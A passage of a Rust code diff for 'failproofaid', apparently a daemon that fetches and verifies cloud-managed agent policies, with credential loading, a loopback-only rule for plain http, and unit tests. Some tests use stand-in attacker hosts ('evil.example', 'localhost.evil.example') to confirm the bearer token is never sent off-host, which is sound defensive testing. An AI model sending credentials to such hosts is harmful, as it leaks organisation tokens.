Outcome::Exited(code) => assert_ne!(code, 0), + Outcome::NotStarted(_) => {} + _ => panic!("expected a reportable failure"), + } + } + + #[test] + fn an_empty_cli_command_is_not_a_command() { + // A `FAILPROOFAI_CLI_CMD=""` in the unit would otherwise run a bare + // `audit --scheduled` through `sh -c` on every tick, forever. + assert_eq!(usable_cli_command(None), None); + assert_eq!(usable_cli_command(Some(String::new())), None); + assert_eq!(usable_cli_command(Some(" ".into())), None); + assert_eq!( + usable_cli_command(Some(" node /opt/dist/cli.mjs ".into())).as_deref(), + Some("node /opt/dist/cli.mjs") + ); + } +} diff --git a/crates/failproofaid/src/cloud_client.rs b/crates/failproofaid/src/cloud_client.rs new file mode 100644 index 00000000..29fb22b3 --- /dev/null +++ b/crates/failproofaid/src/cloud_client.rs @@ -0,0 +1,765 @@ +use crate::cloud_policies::{DesiredPolicy, DesiredState, PolicyStore}; +use reqwest::Url; +use reqwest::blocking::Client; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::thread::JoinHandle; +use std::time::{Duration, Instant}; + +const DEFAULT_POLL_MS: u64 = 30_000; +const MINIMUM_POLL_MS: u64 = 100; + +#[derive(Clone)] +pub struct CloudClient { + base_url: Url, + token: String, + machine_id: String, + client: Client, +} + +/// On-disk enrolment, written by `failproofai config --connect`. +/// +/// The credential deliberately does NOT live in the service unit: that file is +/// installed world-readable (0644, `/etc/systemd/system`), so a token there +/// would be readable by every local user and echoed by `systemctl show`. +#[derive(serde::Deserialize)] +struct StoredCredentials { + #[serde(rename = "schemaVersion")] + schema_version: u32, + url: String, + #[serde(rename = "machineId")] + machine_id: String, + token: String, +} + +/// `FAILPROOFAI_CLOUD_CREDENTIALS`, when set — a standalone JSON file, the shape +/// this loader has always read. Mirrors `cloudCredentialPath()` on the TS side. +pub fn credentials_json_override() -> Option { + std::env::var_os("FAILPROOFAI_CLOUD_CREDENTIALS").map(std::path::PathBuf::from) +} + +/// `~/.failproofai/credentials.toml` — where layout 2 keeps the enrolment. +pub fn credentials_path() -> Option { + if let Some(path) = credentials_json_override() { + return Some(path); + } + crate::paths::failproofai_home() + .ok() + .map(|home| home.join("credentials.toml")) +} + +/// `~/.failproofai/cloud.json` — layout 1. Read only if the TOML is absent. +fn legacy_credentials_path() -> Option { + crate::paths::failproofai_home() + .ok() + .map(|home| home.join("cloud.json")) +} + +/// The `[cloud]` table of `credentials.toml`. Snake_case keys, because that is +/// what `fp-config.ts`'s `writeCredentials` emits. +#[derive(serde::Deserialize)] +struct TomlCredentials { + cloud: Option, +} + +#[derive(serde::Deserialize)] +struct TomlCloud { + url: String, + machine_id: String, + token: String, +} + +/// Whether a URL's host is the local machine, and so unreachable from the +/// network regardless of scheme. +/// +/// `localhost` is matched by name rather than resolved: resolution can be +/// pointed elsewhere by `/etc/hosts` or DNS, and a check that a hostile +/// resolver can turn into "yes" is not a check. Every other host must be an +/// IP literal in a loopback range to qualify. +fn host_is_loopback(url: &Url) -> bool { + let Some(host) = url.host_str() else { + return false; + }; + if host.eq_ignore_ascii_case("localhost") { + return true; + } + // `host_str` keeps the brackets on an IPv6 literal (`[::1]`), which + // `IpAddr::from_str` will not accept. + let bare = host + .strip_prefix('[') + .and_then(|h| h.strip_suffix(']')) + .unwrap_or(host); + bare.parse::() + .is_ok_and(|ip| ip.is_loopback()) +} + +impl CloudClient { + /// Environment first, then the credential file. + /// + /// Env wins so CI, containers and tests keep working unchanged, and so an + /// operator who prefers env-only configuration loses nothing. + pub fn from_env_or_file() -> Result, String> { + if let Some(client) = Self::from_env()? { + return Ok(Some(client)); + } + Self::from_file() + } + + pub fn from_env() -> Result, String> { + let Some(base_url) = env_value("FAILPROOFAI_CLOUD_URL") else { + return Ok(None); + }; + let token = env_value("FAILPROOFAI_CLOUD_TOKEN") + .ok_or("FAILPROOFAI_CLOUD_TOKEN is required when FAILPROOFAI_CLOUD_URL is set")?; + let machine_id = env_value("FAILPROOFAI_MACHINE_ID") + .ok_or("FAILPROOFAI_MACHINE_ID is required when FAILPROOFAI_CLOUD_URL is set")?; + Self::new(&base_url, token, machine_id).map(Some) + } + + /// A missing file means "not enrolled" — not an error. A malformed one IS + /// an error: it was written by us, so bad content means something is wrong + /// that the operator should see rather than a silently unenrolled machine. + /// + /// Two formats, in this order: + /// + /// 1. `credentials.toml`'s `[cloud]` table — what layout 2 writes, and + /// what `--connect` has produced since. Also the JSON shape when + /// `FAILPROOFAI_CLOUD_CREDENTIALS` names a file, which is how the + /// override has always worked. + /// 2. `cloud.json` — layout 1, read ONLY when the TOML is absent, for a + /// machine whose daemon upgraded before its CLI ran once to migrate. + /// Never preferred: mid-migration both exist and the TOML is current. + /// + /// Reading only (1)'s old location is what made cloud-managed policy dead on + /// arrival in layout 2 — `--connect` reported success, wrote a credential + /// the daemon never looked at, and the daemon logged "cloud-managed policy + /// polling disabled" as though the machine had simply never enrolled. + pub fn from_file() -> Result, String> { + // An explicitly-named file is the whole configuration: if it is absent, + // this machine is not enrolled. Falling through to the default location + // would quietly enrol it against a DIFFERENT credential than the one the + // operator named — the opposite of what naming a file asks for. + if let Some(path) = credentials_json_override() { + return match std::fs::read(&path) { + Ok(bytes) => Self::from_json_bytes(&bytes, &path), + Err(err) if err.kind() == std::io::ErrorKind::NotFound => Ok(None), + Err(err) => Err(format!("failed to read {}: {err}", path.display())), + }; + } + + let Some(path) = credentials_path() else { + return Ok(None); + }; + let bytes = match std::fs::read(&path) { + Ok(bytes) => bytes, + Err(err) if err.kind() == std::io::ErrorKind::NotFound => { + return Self::from_legacy_file(); + } + Err(err) => return Err(format!("failed to read {}: {err}", path.display())), + }; + + let parsed: TomlCredentials = toml::from_str( + std::str::from_utf8(&bytes) + .map_err(|err| format!("{} is not valid UTF-8: {err}", path.display()))?, + ) + .map_err(|err| format!("invalid credentials in {}: {err}", path.display()))?; + + // The file exists for the ingest key and the auth session too, so no + // `[cloud]` table means "not enrolled for policy" — not a malformed file. + let Some(cloud) = parsed.cloud else { + return Ok(None); + }; + if cloud.token.is_empty() { + return Err(format!("empty token in {}", path.display())); + } + Self::new(&cloud.url, cloud.token, cloud.machine_id).map(Some) + } + + fn from_legacy_file() -> Result, String> { + let Some(path) = legacy_credentials_path() else { + return Ok(None); + }; + let bytes = match std::fs::read(&path) { + Ok(bytes) => bytes, + Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(None), + Err(err) => return Err(format!("failed to read {}: {err}", path.display())), + }; + Self::from_json_bytes(&bytes, &path) + } + + fn from_json_bytes(bytes: &[u8], path: &std::path::Path) -> Result, String> { + let stored: StoredCredentials = serde_json::from_slice(bytes) + .map_err(|err| format!("invalid credentials in {}: {err}", path.display()))?; + if stored.schema_version != 1 { + return Err(format!( + "unsupported credentials schema {} in {}", + stored.schema_version, + path.display() + )); + } + if stored.token.is_empty() { + return Err(format!("empty token in {}", path.display())); + } + Self::new(&stored.url, stored.token, stored.machine_id).map(Some) + } + + fn new(base_url: &str, token: String, machine_id: String) -> Result { + let mut base_url = + Url::parse(base_url).map_err(|err| format!("invalid FAILPROOFAI_CLOUD_URL: {err}"))?; + if !matches!(base_url.scheme(), "http" | "https") { + return Err("FAILPROOFAI_CLOUD_URL must use http or https".to_string()); + } + // Plain `http` only to a loopback host — the same rule + // `validateCloudUrl()` enforces in `cloud-enrollment.ts`, which + // `configure-wizard.ts` already documents as being enforced on both + // sides. It was not: this checked the scheme and stopped, so an + // `http://internal-host` accepted here put the org-scoped + // `policies:pull` bearer token on the wire in clear, on every + // `spawn_maintenance()` poll — one every 30 seconds, indefinitely. + // + // It matters most on exactly the path the TS validator cannot cover: + // `FAILPROOFAI_CLOUD_URL` takes precedence over the credentials file and + // is a documented CI/container knob, so it reaches this constructor + // without passing through the wizard at all. + // + // Loopback is judged by what the address IS rather than by a fixed list + // of spellings (the TS side names `localhost`, `127.0.0.1` and `::1`); + // the extra addresses this admits — the rest of `127.0.0.0/8` — are + // loopback by definition and cannot leave the host, so the property + // being protected is identical. + if base_url.scheme() == "http" && !host_is_loopback(&base_url) { + return Err(format!( + "refusing to send the machine token to {} over plain http. \ + Use https, or http only for localhost during development.", + base_url.origin().ascii_serialization() + )); + } + if !base_url.path().ends_with('/') { + base_url.set_path(&format!("{}/", base_url.path())); + } + if machine_id.is_empty() { + return Err("FAILPROOFAI_MACHINE_ID cannot be empty".to_string()); + } + let client = Client::builder() + .connect_timeout(Duration::from_secs(5)) + .timeout(Duration::from_secs(15)) + .build() + .map_err(|err| format!("failed to build cloud HTTP client: {err}"))?; + Ok(Self { + base_url, + token, + machine_id, + client, + }) + } + + pub fn desired_state(&self) -> Result { + let mut url = self + .base_url + .join("enforcement/v1/desired-state") + .map_err(|err| format!("failed to build desired-state URL: {err}"))?; + url.query_pairs_mut() + .append_pair("machineId", &self.machine_id); + self.client + .get(url) + .bearer_auth(&self.token) + .send() + .and_then(|response| response.error_for_status()) + .map_err(|err| format!("desired-state request failed: {err}"))? + .json() + .map_err(|err| format!("invalid desired-state response: {err}")) + } + + fn artifact(&self, policy: &DesiredPolicy) -> Result, String> { + let url = self + .base_url + .join(&policy.artifact_url) + .map_err(|err| format!("invalid artifact URL: {err}"))?; + if url.origin() != self.base_url.origin() { + return Err("artifact URL points outside the configured cloud origin".to_string()); + } + self.client + .get(url) + .bearer_auth(&self.token) + .send() + .and_then(|response| response.error_for_status()) + .map_err(|err| format!("artifact request failed: {err}"))? + .bytes() + .map(|bytes| bytes.to_vec()) + .map_err(|err| format!("failed to read artifact response: {err}")) + } +} + +/// One maintenance lane that re-resolves enrolment on every tick. +/// +/// Enrolment is deliberately NOT read once at startup. `failproofai config +/// --connect` writes a credential file without root, and the service is a +/// SYSTEM unit — so requiring a restart to notice it would put `sudo systemctl +/// restart` back into the flow and undo the reason the credential lives in a +/// file at all. Re-resolving per tick also makes token rotation and +/// `--disconnect` take effect within one interval, with nothing to restart. +/// +/// Resolution failures degrade to integrity-only rather than killing the lane: +/// a machine that was pulling policy keeps its last known-good generation and +/// keeps repairing tampering while its credentials are broken. +/// +/// Two intervals, chosen per tick, so both documented knobs keep their meaning +/// now that one lane serves both cases: `FAILPROOFAI_CLOUD_POLICY_POLL_MS` when +/// enrolled, `FAILPROOFAI_CLOUD_POLICY_RECONCILE_MS` when not. +pub fn spawn_maintenance( + store: PolicyStore, + shutdown: Arc, + poll_interval: Duration, + idle_interval: Duration, +) -> JoinHandle<()> { + std::thread::spawn(move || { + let mut last_state: Option = None; + while !shutdown.load(Ordering::Relaxed) { + let cloud = match CloudClient::from_env_or_file() { + Ok(client) => client, + Err(err) => { + eprintln!("[failproofaid] cloud enrolment error: {err}"); + None + } + }; + + // Log only on transition, so a disconnected machine does not print + // a line every 30 seconds forever. + let enrolled = cloud.is_some(); + if last_state != Some(enrolled) { + eprintln!( + "[failproofaid] cloud-managed policy polling {}", + if enrolled { "enabled" } else { "disabled" } + ); + last_state = Some(enrolled); + } + + if let Some(cloud) = cloud.as_ref() { + poll_once(&store, cloud); + } + + // Runs whether or not cloud is reachable: poll failures never + // discard the last known-good generation, and local tampering is + // still repaired while the cloud is offline or unconfigured. + if let Err(err) = store.repair_active_from_cache() { + eprintln!("[failproofaid] cloud policy integrity error: {err}"); + } + wait_until_shutdown( + &shutdown, + if enrolled { + poll_interval + } else { + idle_interval + }, + ); + } + }) +} + +fn poll_once(store: &PolicyStore, cloud: &CloudClient) { + match cloud.desired_state() { + Ok(desired) => { + match store.reconcile(&desired, &|policy: &DesiredPolicy| cloud.artifact(policy)) { + Ok(outcome) + if outcome.activated || outcome.downloaded > 0 || outcome.repaired > 0 => + { + eprintln!( + "[failproofaid] cloud policy generation {} active (downloaded {}, repaired {})", + outcome.generation, outcome.downloaded, outcome.repaired + ); + } + Ok(_) => {} + Err(err) => eprintln!("[failproofaid] cloud policy reconcile error: {err}"), + } + } + Err(err) => eprintln!("[failproofaid] cloud policy poll error: {err}"), + } +} + +pub fn poll_interval_from_env() -> Duration { + let milliseconds = env_value("FAILPROOFAI_CLOUD_POLICY_POLL_MS") + .and_then(|value| value.parse::().ok()) + .unwrap_or(DEFAULT_POLL_MS) + .max(MINIMUM_POLL_MS); + Duration::from_millis(milliseconds) +} + +fn env_value(name: &str) -> Option { + std::env::var(name) + .ok() + .map(|value| value.trim().to_string()) + .filter(|value| !value.is_empty()) +} + +fn wait_until_shutdown(shutdown: &AtomicBool, interval: Duration) { + let deadline = Instant::now() + interval; + while !shutdown.load(Ordering::Relaxed) && Instant::now() < deadline { + let remaining = deadline.saturating_duration_since(Instant::now()); + std::thread::sleep(remaining.min(Duration::from_millis(50))); + } +} + +#[cfg(test)] +mod tests { + use super::*; + // Only the fixtures construct an effect explicitly. + use crate::cloud_policies::PolicyEffect; + + // std::env::set_var is process-global, so these must not interleave with + // each other or with anything else reading the same variables. + static ENV_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(()); + + /// Clears the vars it set and removes its scratch directory. Kept as a + /// guard so a failing assertion cannot leak process-global env into the + /// next test. + struct EnvGuard(std::path::PathBuf); + impl Drop for EnvGuard { + fn drop(&mut self) { + unsafe { + std::env::remove_var("FAILPROOFAI_CLOUD_CREDENTIALS"); + std::env::remove_var("FAILPROOFAI_CLOUD_URL"); + std::env::remove_var("FAILPROOFAI_CLOUD_TOKEN"); + std::env::remove_var("FAILPROOFAI_MACHINE_ID"); + } + let _ = fs::remove_dir_all(&self.0); + } + } + + static SCRATCH_SEQ: std::sync::atomic::AtomicU32 = std::sync::atomic::AtomicU32::new(0); + + fn with_credentials_file(contents: Option<&str>) -> EnvGuard { + let seq = SCRATCH_SEQ.fetch_add(1, Ordering::Relaxed); + let dir = + std::env::temp_dir().join(format!("failproofaid-creds-{}-{seq}", std::process::id())); + fs::create_dir_all(&dir).unwrap(); + let path = dir.join("cloud.json"); + if let Some(contents) = contents { + fs::write(&path, contents).unwrap(); + } + unsafe { + std::env::set_var("FAILPROOFAI_CLOUD_CREDENTIALS", &path); + std::env::remove_var("FAILPROOFAI_CLOUD_URL"); + std::env::remove_var("FAILPROOFAI_CLOUD_TOKEN"); + std::env::remove_var("FAILPROOFAI_MACHINE_ID"); + } + EnvGuard(dir) + } + + const GOOD: &str = + r#"{"schemaVersion":1,"url":"https://cloud.example","machineId":"m-1","token":"secret"}"#; + + #[test] + fn no_credentials_file_means_not_enrolled_rather_than_an_error() { + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_credentials_file(None); + assert!(CloudClient::from_file().unwrap().is_none()); + } + + #[test] + fn reads_a_valid_credentials_file() { + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_credentials_file(Some(GOOD)); + let client = CloudClient::from_file().unwrap().expect("enrolled"); + assert_eq!(client.machine_id, "m-1"); + assert_eq!(client.token, "secret"); + assert_eq!(client.base_url.host_str(), Some("cloud.example")); + } + + #[test] + fn a_malformed_credentials_file_is_an_error_not_a_silent_disconnect() { + // We wrote this file. Bad content means something is wrong that the + // operator needs to see — reporting "not enrolled" would leave a + // machine quietly unmanaged while looking healthy. + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_credentials_file(Some("{ not json")); + let err = CloudClient::from_file() + .err() + .expect("malformed file must error"); + assert!(err.contains("invalid credentials"), "{err}"); + } + + #[test] + fn rejects_an_unknown_schema_version() { + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_credentials_file(Some( + r#"{"schemaVersion":99,"url":"https://c.example","machineId":"m","token":"t"}"#, + )); + let err = CloudClient::from_file() + .err() + .expect("unknown schema must error"); + assert!(err.contains("unsupported credentials schema"), "{err}"); + } + + #[test] + fn rejects_an_empty_token_and_an_empty_machine_id() { + let _lock = ENV_LOCK.lock().unwrap(); + { + let _guard = with_credentials_file(Some( + r#"{"schemaVersion":1,"url":"https://c.example","machineId":"m","token":""}"#, + )); + let err = CloudClient::from_file() + .err() + .expect("empty token must error"); + assert!(err.contains("empty token"), "{err}"); + } + let _guard = with_credentials_file(Some( + r#"{"schemaVersion":1,"url":"https://c.example","machineId":"","token":"t"}"#, + )); + assert!(CloudClient::from_file().is_err()); + } + + #[test] + fn environment_wins_over_the_credentials_file() { + // CI, containers and the existing tests configure by env; enrolment + // must not silently override them. + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_credentials_file(Some(GOOD)); + unsafe { + std::env::set_var("FAILPROOFAI_CLOUD_URL", "https://env.example"); + std::env::set_var("FAILPROOFAI_CLOUD_TOKEN", "env-token"); + std::env::set_var("FAILPROOFAI_MACHINE_ID", "env-machine"); + } + let client = CloudClient::from_env_or_file().unwrap().expect("enrolled"); + assert_eq!(client.machine_id, "env-machine"); + assert_eq!(client.token, "env-token"); + } + + #[test] + fn falls_back_to_the_file_when_only_some_env_vars_are_set() { + // FAILPROOFAI_CLOUD_URL is the switch: without it, from_env returns + // None and the file is consulted rather than erroring. + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_credentials_file(Some(GOOD)); + unsafe { + std::env::set_var("FAILPROOFAI_CLOUD_TOKEN", "stray"); + } + let client = CloudClient::from_env_or_file().unwrap().expect("enrolled"); + assert_eq!(client.machine_id, "m-1"); + } + use sha2::{Digest, Sha256}; + use std::fs; + use std::io::{Read, Write}; + use std::net::TcpListener; + + #[test] + fn fetches_desired_state_and_artifact_into_the_store() { + let artifact = b"export default 'managed';\n".to_vec(); + let sha = format!("{:x}", Sha256::digest(&artifact)); + let listener = TcpListener::bind("127.0.0.1:0").unwrap(); + let address = listener.local_addr().unwrap(); + let expected_sha = sha.clone(); + let expected_artifact = artifact.clone(); + let server = std::thread::spawn(move || { + for _ in 0..2 { + let (mut stream, _) = listener.accept().unwrap(); + let mut request = [0_u8; 4096]; + let read = stream.read(&mut request).unwrap(); + let request = String::from_utf8_lossy(&request[..read]); + assert!( + request.contains("Authorization: Bearer test-token") + || request.contains("authorization: Bearer test-token") + ); + let body = if request + .starts_with("GET /enforcement/v1/desired-state?machineId=machine-1") + { + format!(r#"{{"schemaVersion":1,"generation":7,"policies":[{{"id":"guard","revision":2,"sha256":"{expected_sha}","artifactUrl":"/enforcement/v1/artifacts/{expected_sha}"}}]}}"#).into_bytes() + } else { + expected_artifact.clone() + }; + let content_type = if request.contains("desired-state") { + "application/json" + } else { + "text/javascript" + }; + write!(stream, "HTTP/1.1 200 OK\r\nContent-Length: {}\r\nContent-Type: {}\r\nConnection: close\r\n\r\n", body.len(), content_type).unwrap(); + stream.write_all(&body).unwrap(); + } + }); + + let cloud = CloudClient::new( + &format!("http://{address}"), + "test-token".into(), + "machine-1".into(), + ) + .unwrap(); + let desired = cloud.desired_state().unwrap(); + let root = + std::env::temp_dir().join(format!("failproofaid-http-test-{}", std::process::id())); + let _ = fs::remove_dir_all(&root); + let store = PolicyStore::new(root.clone()); + let outcome = store + .reconcile(&desired, &|policy: &DesiredPolicy| cloud.artifact(policy)) + .unwrap(); + assert_eq!(outcome.generation, 7); + assert_eq!(outcome.downloaded, 1); + assert_eq!( + fs::read(root.join("generations/7/guard.mjs")).unwrap(), + artifact + ); + server.join().unwrap(); + fs::remove_dir_all(root).unwrap(); + } + + #[test] + fn rejects_cross_origin_artifacts_before_sending_the_token() { + let cloud = + CloudClient::new("https://cloud.example", "secret".into(), "machine".into()).unwrap(); + let policy = DesiredPolicy { + id: "guard".into(), + revision: 1, + sha256: "0".repeat(64), + artifact_url: "https://evil.example/artifact".into(), + effect: PolicyEffect::Enforce, + }; + assert!(cloud.artifact(&policy).unwrap_err().contains("outside")); + } + + /// Plain http may not carry the machine token off the host. + /// + /// `new()` checked only that the scheme was http OR https, so + /// `http://internal-agenteye.example` was accepted and `spawn_maintenance()` + /// then put the org-scoped `policies:pull` bearer on the wire in clear every + /// 30 seconds. `validateCloudUrl()` in `cloud-enrollment.ts` has always + /// blocked this, and `configure-wizard.ts` documents the daemon as enforcing + /// the same rule — this is what makes that true. + #[test] + fn plain_http_may_not_leave_the_local_machine() { + for url in [ + "http://internal-agenteye.example", + "http://10.0.0.5:8080", + "http://be.failproof.ai", + // Not loopback merely because the name contains it. + "http://localhost.evil.example", + ] { + let Err(err) = CloudClient::new(url, "secret".into(), "machine".into()) else { + panic!("{url} must be refused over plain http"); + }; + assert!( + err.contains("plain http"), + "expected a transport refusal for {url}, got: {err}" + ); + } + + // Loopback over http stays allowed — it is how local development and + // the e2e harness point the daemon at a test server. + for url in [ + "http://localhost:3000", + "http://127.0.0.1:8080", + "http://[::1]:8080", + ] { + CloudClient::new(url, "secret".into(), "machine".into()) + .unwrap_or_else(|err| panic!("{url} should be allowed, got: {err}")); + } + + // https is unrestricted, loopback or not. + CloudClient::new("https://be.failproof.ai", "secret".into(), "machine".into()).unwrap(); + } + + // ── Layout 2: the enrolment lives in credentials.toml ──────────────────── + // + // These cover the bug that made cloud-managed policy dead on arrival: + // `--connect` wrote `credentials.toml`'s `[cloud]` table, this loader read + // `cloud.json`, and the daemon logged "cloud-managed policy polling + // disabled" — indistinguishable from a machine that had never enrolled. + + /// A FAILPROOFAI_HOME containing the given files. Clears the JSON override + /// so the default (TOML) path is what gets exercised. + fn with_home(files: &[(&str, &str)]) -> EnvGuard { + let seq = SCRATCH_SEQ.fetch_add(1, Ordering::Relaxed); + let dir = + std::env::temp_dir().join(format!("failproofaid-home-{}-{seq}", std::process::id())); + fs::create_dir_all(&dir).unwrap(); + for (name, contents) in files { + fs::write(dir.join(name), contents).unwrap(); + } + unsafe { + std::env::remove_var("FAILPROOFAI_CLOUD_CREDENTIALS"); + std::env::remove_var("FAILPROOFAI_CLOUD_URL"); + std::env::remove_var("FAILPROOFAI_CLOUD_TOKEN"); + std::env::remove_var("FAILPROOFAI_MACHINE_ID"); + std::env::set_var("FAILPROOFAI_HOME", &dir); + } + EnvGuard(dir) + } + + const TOML_CREDS: &str = "[cloud]\nurl = \"https://cloud.example\"\nmachine_id = \"m-toml\"\ntoken = \"toml-secret\"\n"; + + #[test] + fn reads_the_cloud_table_of_credentials_toml() { + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_home(&[("credentials.toml", TOML_CREDS)]); + let client = CloudClient::from_file().unwrap().expect("enrolled"); + assert_eq!(client.machine_id, "m-toml"); + assert_eq!(client.token, "toml-secret"); + unsafe { std::env::remove_var("FAILPROOFAI_HOME") }; + } + + #[test] + fn a_credentials_file_with_no_cloud_table_is_not_enrolled_rather_than_malformed() { + // credentials.toml also holds the ingest key and the auth session, so an + // events-only machine has a perfectly valid file and no `[cloud]`. + // Treating that as corrupt would fail a machine that is working exactly + // as configured. + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_home(&[( + "credentials.toml", + "[ingest]\nurl = \"https://cloud.example/v1/events\"\nkey = \"k\"\n", + )]); + assert!(CloudClient::from_file().unwrap().is_none()); + unsafe { std::env::remove_var("FAILPROOFAI_HOME") }; + } + + #[test] + fn falls_back_to_layout_1_cloud_json_when_the_toml_is_absent() { + // A machine whose daemon upgraded before its CLI ran once to migrate. + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_home(&[("cloud.json", GOOD)]); + let client = CloudClient::from_file().unwrap().expect("enrolled"); + assert_eq!(client.machine_id, "m-1"); + unsafe { std::env::remove_var("FAILPROOFAI_HOME") }; + } + + #[test] + fn prefers_the_toml_when_both_exist() { + // Mid-migration both are on disk, and the TOML is the current one. + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_home(&[("credentials.toml", TOML_CREDS), ("cloud.json", GOOD)]); + let client = CloudClient::from_file().unwrap().expect("enrolled"); + assert_eq!(client.machine_id, "m-toml"); + unsafe { std::env::remove_var("FAILPROOFAI_HOME") }; + } + + #[test] + fn an_empty_home_is_not_enrolled() { + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_home(&[]); + assert!(CloudClient::from_file().unwrap().is_none()); + unsafe { std::env::remove_var("FAILPROOFAI_HOME") }; + } + + #[test] + fn a_malformed_toml_is_an_error_rather_than_a_silently_unenrolled_machine() { + let _lock = ENV_LOCK.lock().unwrap(); + let _guard = with_home(&[("credentials.toml", "[cloud]\nurl = ")]); + let err = match CloudClient::from_file() { + Err(err) => err, + Ok(_) => panic!("a malformed credentials.toml must not read as enrolled"), + }; + assert!(err.contains("invalid"), "{err}"); + unsafe { std::env::remove_var("FAILPROOFAI_HOME") }; + } + + #[test] + fn a_named_override_that_is_missing_never_falls_back_to_the_default() { + // Naming a file says "use THIS credential". Silently enrolling against + // the one in the home directory instead would point the machine at a + // different org than the operator asked for. + let _lock = ENV_LOCK.lock().unwrap(); + let guard = with_home(&[("credentials.toml", TOML_CREDS)]); + unsafe { + std::env::set_var("FAILPROOFAI_CLOUD_CREDENTIALS", guard.0.join("absent.json")); + } + assert!(CloudClient::from_file().unwrap().is_none()); + unsafe { std::env::remove_var("FAILPROOFAI_HOME") }; + } +} diff --git a/crates/failproofaid/src/cloud_policies.rs b/crates/failproofaid/src/cloud_policies.rs new file mode 100644 index 00000000..d117297c --- /dev/null +++ b/crates/failproofaid/src/cloud_policies.rs @@ -0,0 +1,945 @@ +//! Local desired-state store for cloud-managed JavaScript policies. +//! +//! Cloud transport deliberately does not live here. A caller supplies an +//! [`ArtifactFetcher`], while this module owns the security-sensitive local +//! transaction: validate the manifest, verify SHA-256, write immutable cache +//! objects, materialize a complete generation, then switch `active.json` +//! atomically. The hook hot path never downloads or partially activates policy. + +use serde::{Deserialize, Serialize}; +use sha2::{Digest, Sha256}; +use std::collections::HashSet; +use std::fs::{self, File, OpenOptions}; +use std::io::{self, Read, Write}; +use std::os::unix::fs::PermissionsExt; +use std::path::{Path, PathBuf}; +use std::sync::Arc; +use std::sync::atomic::AtomicBool; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::thread::JoinHandle; +use std::time::{Duration, Instant}; + +pub const DESIRED_STATE_SCHEMA_VERSION: u32 = 1; +const MANAGED_FILE_MODE: u32 = 0o600; +static TEMP_COUNTER: AtomicU64 = AtomicU64::new(0); + +/// NOT `deny_unknown_fields`, deliberately, unlike the locally-authored +/// manifest below. This is parsed from a SERVER response, and daemons update on +/// their own schedule — so strictness here means the first field cloud adds +/// makes every older daemon reject desired-state and silently stop pulling, +/// stranding fleets on whatever generation they happened to hold. Strictness +/// belongs on files we write ourselves, not on a remote payload. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DesiredState { + pub schema_version: u32, + pub generation: u64, + pub policies: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DesiredPolicy { + pub id: String, + pub revision: u64, + pub sha256: String, + /// Opaque locator interpreted only by the cloud transport implementation. + pub artifact_url: String, + /// Defaults to `enforce` so a server that predates observe mode, or omits + /// the field, keeps behaving exactly as before. The safe default is the + /// one that keeps enforcing. + #[serde(default)] + pub effect: PolicyEffect, +} + +/// What an assignment does when it matches. +/// +/// `observe` is the design's observe-before-enforce step: the policy is +/// downloaded, verified and EVALUATED exactly like any other, but its verdict +/// never changes what the agent is allowed to do. It exists so a rollout can be +/// measured on real traffic before it can break anyone's work. +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Default)] +#[serde(rename_all = "lowercase")] +pub enum PolicyEffect { + #[default] + Enforce, + Observe, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase", deny_unknown_fields)] +pub struct ActiveGeneration { + pub schema_version: u32, + pub generation: u64, + pub policies: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase", deny_unknown_fields)] +pub struct ActivePolicy { + pub id: String, + pub revision: u64, + pub sha256: String, + /// Relative to the cloud-managed root. Never supplied by the server. + pub path: String, + /// Carried through from the desired state so the evaluator does not have to + /// re-consult cloud to know whether a policy may act. + #[serde(default)] + pub effect: PolicyEffect, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ReconcileOutcome { + pub generation: u64, + pub downloaded: usize, + pub repaired: usize, + pub activated: bool, +} + +#[derive(Debug)] +pub enum ReconcileError { + Io(io::Error), + Json(serde_json::Error), + InvalidDesiredState(String), + HashMismatch { + policy_id: String, + expected: String, + actual: String, + }, + Fetch { + policy_id: String, + message: String, + }, + NoVerifiedCopy { + policy_id: String, + }, +} + +impl std::fmt::Display for ReconcileError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Io(err) => write!(f, "cloud policy I/O error: {err}"), + Self::Json(err) => write!(f, "cloud policy JSON error: {err}"), + Self::InvalidDesiredState(message) => { + write!(f, "invalid cloud desired state: {message}") + } + Self::HashMismatch { + policy_id, + expected, + actual, + } => write!( + f, + "cloud policy {policy_id} hash mismatch: expected {expected}, got {actual}" + ), + Self::Fetch { policy_id, message } => { + write!(f, "failed to fetch cloud policy {policy_id}: {message}") + } + Self::NoVerifiedCopy { policy_id } => write!( + f, + "cloud policy {policy_id} has no verified artifact or generation copy" + ), + } + } +} + +impl std::error::Error for ReconcileError {} + +impl From for ReconcileError { + fn from(value: io::Error) -> Self { + Self::Io(value) + } +} + +impl From for ReconcileError { + fn from(value: serde_json::Error) -> Self { + Self::Json(value) + } +} + +/// Transport boundary. Production cloud HTTP and tests both implement this; +/// fetched bytes are untrusted until the reconciler verifies their digest. +pub trait ArtifactFetcher { + fn fetch(&self, policy: &DesiredPolicy) -> Result, String>; +} + +impl ArtifactFetcher for F +where + F: Fn(&DesiredPolicy) -> Result, String>, +{ + fn fetch(&self, policy: &DesiredPolicy) -> Result, String> { + self(policy) + } +} + +#[derive(Debug, Clone)] +pub struct PolicyStore { + root: PathBuf, + /// Highest generation this process has seen the SERVER offer. + /// + /// The 